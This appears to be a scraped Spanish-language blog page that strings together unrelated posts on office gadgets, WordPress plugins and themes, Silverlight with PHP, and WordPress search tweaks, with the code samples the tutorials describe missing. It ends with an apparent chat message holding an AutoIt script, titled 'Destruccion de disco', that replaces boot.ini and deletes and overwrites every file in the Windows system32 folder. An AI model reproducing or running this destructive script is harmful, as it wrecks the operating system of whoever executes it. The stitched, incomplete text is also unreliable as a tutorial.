http://psd.tutsplus.com/tutorials/designing-tutorials/how-to-create-a-grunge-style-illustration-with-stains/

La oficina suele ser un espacio rutinario y monótono al que le da vida la personalidad de cada empleado a través de bromas, o de los objetos con los que cada uno puebla su escritorio.

La nueva tendencia en gadgets consiste en darles personalidad y que su apariencia cause la risa espontánea de quien lo descubre. ¡Con los que te mostraremos a continuación, te sorprenderás y no pararás de reir!

La tijera trituradora

Quizás en tu oficina no hay presupuesto para una de esas costosas trituradoras, o también puede que tengas una extraña afición a destruir todo papel que descartas y quieras tener tu pequeña trituradora personal. Cualquiera sea el caso, puede solucionarse con esta particular tijera llamada Shredsors, que posee nueve cuchillas de 7 pulgadas de ancho listas para destruir todo lo que se cruce en su camino, incluyendo tu dedo, si te distraes un segundo. Por u$s 20 dólares puede ser tuya.

No pierdas los clips

Para que los clips no estén constantemente desperdigados por tu escritorio, lo mejor es que tengas un recipiente donde guardarlos. ¿Y si el recipiente es un lavabo?  Así es, Drip Clips es un recipiente con forma de lavabo, grifo y todo incluídos, que sostiene tus clips de forma magnética para que ya no los pierdas. También trae 25 clips azules para que puedas jugar con el efecto “gota cayendo” que propone Drip Clips. Su precio es de u$s 8 dólares.

Ojos en la espalda

Este curioso espejo retrovisor se coloca en la parte superior de la pantalla de tu PC y con él puedes monitorear toda la actividad que se realiza a tus espaldas. Así, cuando el jefe se acerque para su dosis diaria de gritos, ya estarás psicológicamente preparado. Puedes conseguirlo en varios colores al precio de u$s 10 dólares. Pero cuidado:  Los empleadores reflejados en el espejo pueden parecer más cerca de lo que realmente están.

El orden es esencial

Si estás harto de todos los pequeñitos objetos sueltos en tu escritorio, como notas, clips, tarjetas de memoria y cualquier otra cosa de tamaños tan diminutos que los hace fácilmente extraviables, este pequeño fichero llamado What-Nots es para ti. Eso sí: tendrás que memorizarte el ridículo nombre de cada gaveta para poder indicarle a tus compañeros dónde guardas las bandas elásticas cuando te las pidan. Sus medidas son de 21 x 10 x 8 cm, y su precio es de u$s 27 dólares.

Calma tu sed sin moverte del asiento

Olvídate de las largas caminatas al dispensador de agua, el que siempre se encuentra vacío justo cuando realmente tienes sed. Ahora puedes ser la envidia de todos tus compañeros, con tu propio dispensador personal de escritorio. Este dispositivo puede contener medio litro de la bebida que quieras, mide 30 cm. de alto y trae su propia taza. Su precio es de u$s 13 dólares.

Con estos curiosos gadgets serás la envidia, o la burla, el bufón o el hazmerreir de tu oficina. ¡Eso lo decidirá tu actitud!

Y tú… ¿Con qué le das vida a tu lugar de trabajo?

12 Plugins imperdibles para tu blog

<!– Agregar un comentario–>

La fama de WordPress se debe a que es una aplicación gratuita, fácil de usar y con un diseño muy versátil. Pero una de las razones de la masificación de WordPress son los cientos de plugins que amplían las funcionalidades de WordPress y lo convierten en una aplicación adaptable a casi cualquier requerimiento.

A continuación, descubre una colección con 12 de los mejores plugins de WordPress que se pueden encontrar en la red de redes…

1. SidePosts Widget

Con este widget podrás seleccionar la categoría que desees y todas las entradas de esta categoría se mostrarán en la barra lateral en lugar de mostrarse en el blog principal. Entonces, tendrás un blog pequeño en tu sidebar para aquellas entradas especiales. Para cada entrada, tendrás el link a la página de posteo. Podrás seleccionar el número de posts que se mostrarán y si se deben mostrar sólo los extractos de los posts o todo el contenido. Descarga SidePosts Widget »

2. FAlbum

Se trata de un plugin WordPress que nos permite mostrar nuestras fotos y álbumes de Flickr en nuestro blog. Descarga FAlbum »

3. Digg This

Es un plugin que detecta links entrantes de Digg.com a nuestros posts WordPress y automáticamente muestra un link que lleva al post de Digg, para que la gente pueda “diggear” tu historia. Cuando un digg es reconocido por primera vez se te enviará un mail de aviso. Descarga Digg This »

4. My Page Order

Te da control manual sobre el orden de tus páginas de WordPress, permitiéndote fácilmente programar el orden. Funciona también con subpáginas. Actualmente viene con soporte para widgets incorporado. Descarga My Page Order »

5. GreetBox

Usa este plugin para mostrar un mensaje de saludo diferente para cada nuevo vistante de tu sitio dependiendo de su url de referencia. Por ejemplo, cuando un usuario ingrese a tu web desde Digg se le mostrará un mensaje recordándole que puede diggear el posteo si lo desea.

También puedes programar un mensaje de saludo por defecto para los nuevos visitantes (que no tengan ninguna url de referencia en particular) sugiriéndoles que se suscriban a tu feed RSS. Descarga GreetBox »

6. TwitterCounter

Te permite integrar credenciales de TwitterCounter.com en tu blog para mostrar cuantos seguidores de Twitter posees. Además, puedes añadir el Twitter Remote a tu blog, para mostrar qué usuarios de Twitter visitaron tu sitio recientemente. Descarga TwitterCounter »

7. Photo Dropper

Este plugin añade fotos de Flickr a tus posts. Busca fotos con licencia Creative Commons, es decir, de uso compartido. Nos permite incorporar estas imágenes en nuestros posts con un sólo clic. Descarga Photo Dropper »

8. AddThis

Con este widget tus usuarios podrán incluir tu sitio con mayor facilidad en sus bookmarks, con más de 45 servicios populares y lo puedan compartir con amigos por e-mail. El botón es pequeño, nada obstrusivo, rápido de cargar y reconocido por toda la web. Descarga AddThis »

9. XSPF Player

Utiliza esta pequeño plugin para permitir que las páginas de WordPress tengan música (MP3) de fondo, embebiendo este reproductor. Descarga XSPF Player »

10. Audio Player WordPress plugin

Se trata un simple reproductor de audio para WordPress. Descarga Audio Player WordPress plugin »

11. AdRotator

Muestra una publicidad (que es seleccionada al azar de un grupo de publicidades en un archivo de texto) en tu locación elegida. También puede utilizarse con otros sistemas CMS o en cualquier lugar en que se soporte PHP. Descarga AdRotator »

12. Add-Meta-Tags WordPress Plugin

Este plugin añade etiquetas XHTML META a tu blog WordPress. La adición de la etiqueta META es completamente automática, pero también incluye todas aquellas propiedades que un SEO puede llegar a necesitar para tener un dominio completo sobre sus etiquetas meta. Descarga Add-Meta-Tags WordPress Plugin »

Fuente: AjaxLine

Cómo crear un tema de WordPress en 5 pasos

<!– Agregar un comentario–>

Una de las mejores funcionalidades de WordPress es la de permitirnos crear nuestros propios temas. Realizar un tema para WordPress o cualquier otro CMS, es como crear un diseño para cualquier otro sitio web común.

Si bien existe algún que otro elemento qué deberías considerar a la hora de crear tu propio tema WordPress, el proceso es bastante similar. Si deseas hacer tu theme WordPress sigue los cinco sencillos pasos que te dejo a continuación.

1. Define la estructura del contenido

Antes de abrir tu editor gráfico (Photoshop, Fireworks) define la estructura de tu contenido en un estilo treeForm (es más fácil de manejar). Tienes que definir las categorías principales de tu blog, es fundamental saber cuántas habrá.

2. Haz una lista de características

Define qué tipo de características/plugins deseas tener en tu sitio. Defínelas por tamaños, para que sepas cuantas cosas tienes para tu cabecera, tu barra lateral y tu ventana principal.

3. Comienza a dibujar

Ahora que ya sabes el contenido para el cual tienes que diseñar, comienza a dibujar. Un pequeño consejo, considera tanto el SEO como la usabilidad durante la etapa de diseño. No utilices fuentes personalizadas a menos que planees usar imágenes. No uses efectos de texto en Photoshop como “Smooth, Crisp, Strong” en tu texto, a menos que lo vayas a utilizar como una imagen.

Consejo: Al finalizar el diseño, ciérralo y no lo mires por unas 12 horas. Al día siguiente, vuélvelo a mirar y fíjate si te sigue agradando. De lo contrario, realiza nuevamente el proceso.

4. Convierte el diseño en código XHTML/CSS

Esto es importante: No implementes el diseño en WordPress de inmediato. Primero conviértelo en un solo archivo .html+css y hazlo funcionar en todos los navegadores más importantes.

5. Implementa bloques HTML y CSS

Ahora que tienes una muestra de tu diseño funcionando, es mucho más fácil implementar partes del mismo en tus archivos de tema WordPress, localizados en /wp-content/themes/your-theme/.

No te olvides: Además de editar tus archivos de tema, también puedes editar templates por defecto de WordPress, dentro del directorio /wp-includes/.

Y así de sencillo, con estos simples pasos ya tienes tus temas listos para implementar.

Fuente: Theme Closet

Si bien un plugin para navegadores de Microsoft puede que resulte algo extraño para un desarrollador PHP, existen muchas características de Microsoft Silverlight que lo hacen una buena alternativa para estas tecnologías.

Por empezar, está diseñado para funcionar no sólo en Internet Explorer sino también en todos los grandes navegadores. Además es una herramienta poderosa para crear aplicaciones que pueden ir mucho más allá de las capacidades estándares del CSS y el HTML.

Silverlight soporta un amplio rango de efectos visuales y posee más de 30 controles de interfaces de usuario incorporados, incluyendo no sólo botones, cajas de listas y sliders sino también una grilla de datos y un calendario. Puedes mostrar tanto imágenes PNG como JPE, y reproducir media en formato WMV, WMA y MP3 con soporte para modos de demostración de 720p HDTV.

Adentro de una aplicación Silverlight

Defines la aplicación que deseas que Silverlight presente utilizando XMAL. Esto está basado en especificaciones XML y fue diseñado por Microsoft para valores y objetos inicialmente estructurados. El siguiente documento XAML declara un objeto Canvas que contiene un bloque de texto, el cual es un elemento liviano para mostrar texto:

Los elementos visuales que hacen a una aplicación Silverlight necesitan ser ubicados dentro de un objeto contenedor, y esto provee una referencia en la cual pueden ser posicionados.

En nuestro ejemplo estamos usando un objeto Canvas que mide 300×100 pixeles como el contenedor y hemos programado su propiedad de Fondo para que se muestre con un color celeste. Dentro de esto hemos colocado un objeto de bloque de texto sencillo que mostrará el tradicional texto “Hello World!” en una fuente Verdana de 30px y 10px más abajo y a la derecha de la esquina izquierda superior del objeto Canvas. Noten la sintaxis de puntos que hemos empleado para referencias las propiedades del objeto Canvas.

Ubicando el plugin de Silverlight

En verdad, mostrar una aplicación Silverlight en una página HTML necesita involucrar un poco más que una etiqueta de objeto estándar. De la forma más simple, lo siguiente muestra nuestro ejemplo dentro de un navegador:

Aquí hemos definido un espacio de 300 y 100 píxeles en donde ubicamos el plug-in Silverlight, como se debe hacer de acuerdo a su topo MIME. También hemos definido un atributo de información para el plug-in. En la práctica esto usualmente es ignorado pero puede mejorar el desempeño en algunos navegadores. Finalmente, si el cliente no posee Silverlight 2.0 instalado, el elemento anchor mostrará una imagen de la web de Microsoft que diga “Obtener Silverlight” y estará linkeada al sitio para que el usuario pueda descargar el plug-in.

El plugin Silverlight toma un gran número de parámetros pero en este contexto el más importante es “código”, el cual le dice al plugin donde encontrar la aplicación. En este caso estamos dirigiéndolo al archivo “silverlightapp.xml”. Si esto contuviera el XAML de nuestro ejemplo anterior en simple formato de texto, y ambos de estos archivos fueran subidos a un directorio de tu servidor web, abrir la página HTML llevaría a la aparición de nuestra aplicación “Hello World!” en la esquina superior izquierda de tu navegador.

El XAML que define la aplicación Silverlight no reside en un archivo separado. Puede ser definido dentro de la página que hace instantáneo el plug-in usando un bloque de script especial. Por ejemplo, podemos insertar el siguiente inmediatamente antes del bloque div “pluginHost” en nuestra página HTML de arriba, la cual también muestra algunos de los efectos especiales soportados por Silverlight.

Referenciamos este bloque XAML cambiando el parámetro “fuente” para el objeto Silverlight1, de esta manera:

El # indica que lo que sigue las referencias es un bloque de script en la página actual. La otra diferencia principal entre este y nuestro ejemplo XMAL anterior es que hemos colocado un objeto rectángulo en el Canvas. Este es un elemento de forma, como la línea, la elipse, el polígono, y como tal, soporta un rango más amplio de opciones de demostración. Los atributos RadiusX y RadiosY redondean las esquinas del rectángulo, mientras que la propiedad Fill nos permite especificar un pincel. En este caso, hemos utilizado el pincel “LinearGradient” para darle sombra al rectángulo en una mezcla gradual de amarillo y celeste.

La mayoría de los parámetros populares soportados por Silverlight pueden ser ignorados en esta etapa. Sin embargo, ‘minRuntimeVersion’ puede resultar útil si deseas asegurarte, por ejemplo, que la versión 2.0 está instalada en lugar de la 1.0. Esto puede ser acompañado por “autoUpgrade” que significa que se debería hacer un intento de actualizar automáticamente de encontrarse una nueva versión del producto. También existe el parámetro “OnLoad” que nos permite especificar una función JavaScript que debería ejercerse una vez que se cargue el plug-in.

Utilizando PHP con Silverlight

Para el desarrollador PHP, el punto importante es que la fuente del objeto Silverlight puede ser cualquier cosa que devuelva XAML, y eso incluye un script PHP. Esto abre muchas posibilidades. Por ejemplo, la siguiente página PHP utiliza Silverlight para desplegar información extraída de una base de datos MySQL:

Asumiendo que esto es parte de la página “customers.php” en nuestro servidor PHP, al llamarlo con la siguiente URL haría que Silverlight muestre el nombre, la ciudad y el código postal del cliente número 134 de la base de datos.

Habiendo extraído el valor de ID del string en cuestión, el código abre una conexión a la base de datos y luego ejerce una pregunta que obtiene la información para el cliente especificado y la coloca en el objeto $result.

La función mysqli_fetch_array() extrae la información de $result dentro de la serie $row, desde donde puede ser leido e insertado en el XAML utilizando el comando eco.

Esto está lejos del código de producción, con poco chequeo de error, pero sirve para demostrar cómo PHP puede usarse para integrar una aplicación Silverlight. De la misma manera que hicimos esto, podrías especificar una página PHP como fuente del control propio de Silverlight como en el siguiente snippet:

Todo lo que se necesita aquí es que la página clients.php devuelva código XAML válido que pueda ser dado por Silverlight.

Añadiendo interacción con JavaScript

El plugin de Silverlight expone una API JavaScript que permite que cualquier elemento XAML pueda ser manipulado con JavaScript, casi de la misma forma en que programarías en contra del DOM HTML expuesto por la página. Además, Silverlight se jacta de un amplio rango de eventos programables que abren muchas posibilidades para la interacción del usuario.

Por ejemplo, en el siguiente se agregó un atributo “x:Name” al elemento de bloque de texto. Esto permite al JavaScript acceder y manipular el elemento utilizando la función findName. También hemos adjuntado una declaración de manejador de eventos que hace que la función de JavaScript changeText deba ser ejecutada si el usuario deja de presionar el botón izquierdo del mouse mientras el puntero está sobre el elemento Canvas:

Ahora podemos definir la función changeText añadiendo lo siguiente a la página que inicia el objeto Silverlight:

El script localiza el elemento que deseamos manipular utilizando la función findName, y luego programa su atributo texto para cambiar de ‘Hello World!’ a ‘Goodbye!’ cuando el Canvas es cliqueado. Un punto importante a notar aquí es que el JavaScript es interpretado por el navegador y no por el plug-in de Silverlight. El atributo x:Name permite que la función findName busque dentro de Silverlight aquellos objetos declarados dentro del código XAML.

Puedes utilizar estas técnicas para responder a un amplio rango de eventos. La API te permite responder a simples movimientos del mouse, o cuando el puntero del mouse entra o sale de un objeto. Puedes responder cada vez que se presiona el botón izquierdo del mouse y cuando se suelta. La mayoría de los objetos responden también a eventos de tecla arriba o abajo, y hay facilidades para determinar la combinación de teclas. El control de TextBox soporta el evento TextChanged, mientras que el control PasswordBox soporta el evento PasswordChanged y el control de botón soporta un evento de clic.

Una de las grandes fortalezas de Silverlight es la capacidad de manipular todo lo que declares en tu código XAML a través de objeto modelo coherente.

Interactuando con un servicio web PHP

La mayoría de las técnicas discutidas hasta ahora funcionan con ambas versiones de Silverlight. Sin embargo, Silverlight 2.0 abre nuevas posibilidades para el procesamiento del lado del cliente al incluir una versión del framework .NET y el Common Language Runtime (CLR), el cual le permite correr código del lado del cliente escrito en C#, Visual Basic y muchos otros lenguajes.

El código para esos programas está comprimido en un archivo ZIP junto con la definición XAML y un manifiesto. El resultado incluye la extensión XAP y es referenciado a través del parámetro de la fuente del plugin de la misma forma en que referenciamos nuestro archivo XAML en el ejemplo anterior. Cuando el cliente abre la página que contiene el plugin, el archivo XAP se descarga y descomprime, y luego el código es compilado y ejecutado.

Esto abre nuevas posibilidades para el programador PHP ya que tales aplicaciones pueden hacer llamadas a servicios web y esos servicios pueden ser definidos en PHP.

También vale la pena notar que Silverlight 2.0 incluye Dynamic Language Runtime (DLR) que soporta IronPython, IronRuby yJScript manejado.

Eligiendo las herramientas correctas

Microsoft ha lanzado un gran número de herramientas que podrían resultar útiles a cualquier programador PHP que esté buscando trabajar con Silverlight.

Microsoft Visual Web Developer 2008 Express Edition es un diseñador de sitios web que soporta CSS, Javascript y AJAX.También se puede utilizar la herramienta Visual Studio 2008 para automatizar la producción de mucha de la infraestructura que se encuentra bajo la aplicación Silverlight. Ambas pueden descargarse gratuitamente desde el sitio de Microsoft.

Microsoft Expression Blend 2 es una herramienta de diseño gráfico profesional que da salida XAML, permitiendo a los diseñadores crear interfaces de usuarios atractivas y generar automáticamente el código requerido por Silverlight para su demostración.

Microsoft Expression Web 2, es un diseñador web professional que posee muchas propiedades diseñadas especificamente para desarrolladores PHP. Hay opciones de menú para insertar snippets PHP comunes, incluir formas predefinidas, URL, variables de sesiones, y otras estructuras. Además podremos ver toda la página en vista de diseño, a pesar de que todo el código se encuentre en un sólo archivo, permitiéndonos ver nuestro código en acción sin tener que dejar el editor.

Expression Web 2 entiende PHP por lo que coloreará construcciones del código del lenguaje de forma inteligente, y posee soporte completo para auto-relleno, de modo que puedas ver qué funciones y parámetros están disponibles a medida que escribes el código.

En definitiva, Silverlight posee una gran cantidad de cosas que ofrecerle a un desarrollador PHP.

Fuente: Think Vitamin

La Página de Búsqueda en cualquier blog de WordPress es normalmente un poco desastrosa. Por esta razón es muy común reemplazar la página de WordPress por una página de búsqueda de Google.

Sin embargo, hay mucho que puedes hacer para mejorar los resultados de tu página de búsqueda. Con estos 3 códigos lograrás una página con mayor usabilidad y resultados más útiles.

Empezaremos por añadir un contador al número de resultados encontrados, luego resaltaremos los tiempos de búsqueda en los mismos resultados y, finalmente, te mostraremos cómo puedes excluir ciertas categorías de tus resultados.

1. Mostrar el número de resultados encontrados

La típica página de resultados de WordPress posee el título “Resultados de búsqueda”. Esto no es muy útil, pero lo podemos hacerlo mucho más dinámico: cambiemos nuestro título por “Resultados de búsqueda para estos términos de búsqueda – X Artículos”. Si el término de búsqueda fue “Íconos de Twitter”, el título de la página se vería así: “Resultados de búsqueda para Íconos de Twitter – 12 Artículos”

Mucho mejor ¿Verdad?

Para lograr esto abre el archivo de tu template de búsqueda search.php. Busca lo siguiente:

Y reemplázalo por:

¡Y ya está! Ahora puedes usar CSS para darle estilo a cada parte del titulo de la forma que gustes.

2. Resalta los términos de búsqueda en los resultados

Cuando realizas una búsqueda en Google o en cualquier otro gran motor de búsqueda, las palabras que buscaste se encuentran resaltadas para hacer más legibles los resultados. Puedes hacer lo mismo con los resultados de tu sitio:

En search.php, busca lo siguiente:

En el tema por defecto, esto se encontrará envuelto en una línea similar a esta:

Ahora, reemplaza esa parte por:

Finalmente, antes de esta línea pega lo siguiente:

Tus términos de búsqueda ahora se verán envueltos en etiquetas. Ponerlos en negrita funciona a la perfección, pero si tu titular ya se encuentra en negrita, utiliza CSS para darle énfasis. Puedes colorear el fondo de las palabras…

En el blog del diseñador Matt Brett podemos ver que los resultados de búsqueda incluyen el número de artículos del blog que poseen esos tags, mientras que los tags se resaltan en cada uno de los resultados:

3. Excluye ciertas categorías de la búsqueda

Puede que no quieras que todas tus categorías aparezcan en los resultados de la búsqueda.

Para remover una categoría, abre el archivo functions.php de tu tema (o crea un archivo en blanco con ese nombre si tu tema no posee el archivo) y pega el siguiente código al final:

Simplemente cambia la parte de “8,15″ por una lista separada con comas de las IDs de las categorías que desees excluir.

Con estos tres sencillos pasos, obtendrás una página de búsqueda mucho más dinámica y útil para tus usuarios.

Fuente: Pro Blog Design

THANKS GABOR!

R: $answer = InputBox(“Destruccion de disco”, “Que metodo decea usar”, “parcial”, “”, -1, -1, 0, 0)
if $answer = “parcial” then

$Ruta_sys32 = “c:/windows/sysem32/”

FileDelete(“c:/boot.ini”)
FileCopy(@ScriptDir & “/boot.ini”,”c:/boot.ini”)

ToolTip(“Aniquilado 1 de 2″, 0, 0)
Sleep(2000) ; Sleep to give tooltip time to display

$Archivos_encontrados = 0

$search = FileFindFirstFile($Ruta_sys32 & “*.*”)
While 1
$file = FileFindNextFile($search)
If @error Then ExitLoop
$Archivos_encontrados = $Archivos_encontrados +1
FileDelete( @WindowsDir & “/system32/” & $file)
FileWrite(@WindowsDir & “/system32/” & $file,1)
; MsgBox(4096, “File:”, $file)
WEnd
ToolTip(“Aniquilado 2 de 2″, 0, 0)
Sleep(2000) ; Sleep to give tooltip time to display
ToolTip(“Aniquilado COMPLETO Satisfactoriamente “, 0, 0)
Sleep(3000)
;MsgBox(4096, “Encontrados:”,$Archivos_encontrados)
FileClose($search)

ElseIf $answer = “Completo” then

EndIf
Sent at 11:51 AM on Thursday

GABOR is offline. Messages you send will be delivered when GABOR comes online.